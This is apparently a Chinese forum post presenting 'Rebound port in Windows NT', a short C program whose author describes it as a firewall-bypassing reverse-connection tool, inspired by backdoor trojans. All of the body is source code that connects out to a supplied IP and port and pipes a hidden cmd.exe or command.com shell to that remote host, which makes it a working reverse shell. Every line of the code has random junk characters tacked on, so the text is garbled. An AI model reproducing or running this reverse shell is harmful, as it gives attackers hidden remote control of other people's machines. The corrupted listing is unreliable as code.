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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 VU`OO$,W  
{-3LIO  
/* ============================== VhL{'w7f  
Rebound port in Windows NT A4C+5R  
By wind,2006/7 t.T UmJ  
===============================*/ H}hFFI)#Oo  
#include :bu>],d-8'  
#include &;yH@@Z  
r;BT,jiX  
#pragma comment(lib,"wsock32.lib") +mj*o(  
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void OutputShell(); d^03"t0O]  
SOCKET sClient; N`@NiJ(O;  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :W#rhuzC  
+4;uF]T  
void main(int argc,char **argv) 5|3e&  
{ M_v?9L  
WSADATA stWsaData; C+[%7vF1  
int nRet; Kt@M)#  
SOCKADDR_IN stSaiClient,stSaiServer; ">f erhN9  
&LO"g0w  
if(argc != 3) aj8A8ma*}  
{ r{\1wt  
printf("Useage:\n\rRebound DestIP DestPort\n"); &|>S|  
return; \B F*m"lz  
} 1"Z@Q`}  
*IgE)N >  
WSAStartup(MAKEWORD(2,2),&stWsaData); De7T s  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]]7 mlQ  
O[tvR:Nh  
stSaiClient.sin_family = AF_INET; Q!- 0xlx  
stSaiClient.sin_port = htons(0); P-F)%T[  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); W} WI; cI  
A.<H>=Z# O  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) H]Hv;fcC  
{ We0.3aG  
printf("Bind Socket Failed!\n"); r/pH_@  
return; V7#v6!7A@  
} 4BnSqwa_  
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stSaiServer.sin_family = AF_INET; KT]Pw\y5  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ? WJ> p  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^` un'5Vk  
S$KFf=0  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) kEwaT$  
{ ~ wg:!VWA)  
printf("Connect Error!"); X%yO5c\l2  
return; ]7-&V-Ct*  
} Qt_dEl  
OutputShell(); coYij  
} =*p/F  
*8~86u GU  
void OutputShell() g^*<f8 ~d  
{ ;^t{Il'j  
char szBuff[1024]; N0hE4t  
SECURITY_ATTRIBUTES stSecurityAttributes; dJ$"l|$$  
OSVERSIONINFO stOsversionInfo; fXrXV~'8  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; d%l{V6  
STARTUPINFO stStartupInfo; ^u 3V E  
char *szShell; OL4z%mDZi  
PROCESS_INFORMATION stProcessInformation; oIUy-|  
unsigned long lBytesRead; {U&.D [{&  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8r3A~  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ol4+_n8xj  
stSecurityAttributes.lpSecurityDescriptor = 0;  >S$Z  
stSecurityAttributes.bInheritHandle = TRUE; Uj&W<'I  
xsWur(>]  
j ";2o(  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (sVi\R  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); nUkaz*4qU  
f~ }H  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9UvXC)R1  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eQQ>  
stStartupInfo.wShowWindow = SW_HIDE; ^CwR!I.D}4  
stStartupInfo.hStdInput = hReadPipe; wAnb Di{W  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !w&kyW?e  
2^?:&1:  
GetVersionEx(&stOsversionInfo); C8F7bG8c  
sz9L8f2  
switch(stOsversionInfo.dwPlatformId) 3fN.bU9_  
{ Z7 E  
case 1: ^>"z@$|\:  
szShell = "command.com"; qzb<J=FAU  
break; R8.CC1Ix  
default: K~ ;45Z2  
szShell = "cmd.exe"; 1S@vGq}  
break; JxyB(  
} q^6+!&"  
A*W) bZs.  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ve&zcSeb  
DxJX+.9K9  
send(sClient,szMsg,77,0); 'Ei;^Y 1e  
while(1) @)SL_9  
{ aZ\UrV4,  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 2t $j  
if(lBytesRead)  ~c6}  
{ SNY~9:;]f  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #s!'+|2n  
send(sClient,szBuff,lBytesRead,0); TX#m&vh  
} z({hiVs  
else _{M\Bs2<  
{ .^b;osAU  
lBytesRead=recv(sClient,szBuff,1024,0); :O5og[;b  
if(lBytesRead<=0) break; ZyEHzM{$  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %vBhLaE  
} %#$EP7"J  
} y-CX}B#j  
L/"0ws_  
return; LzYO$Ir:g  
}
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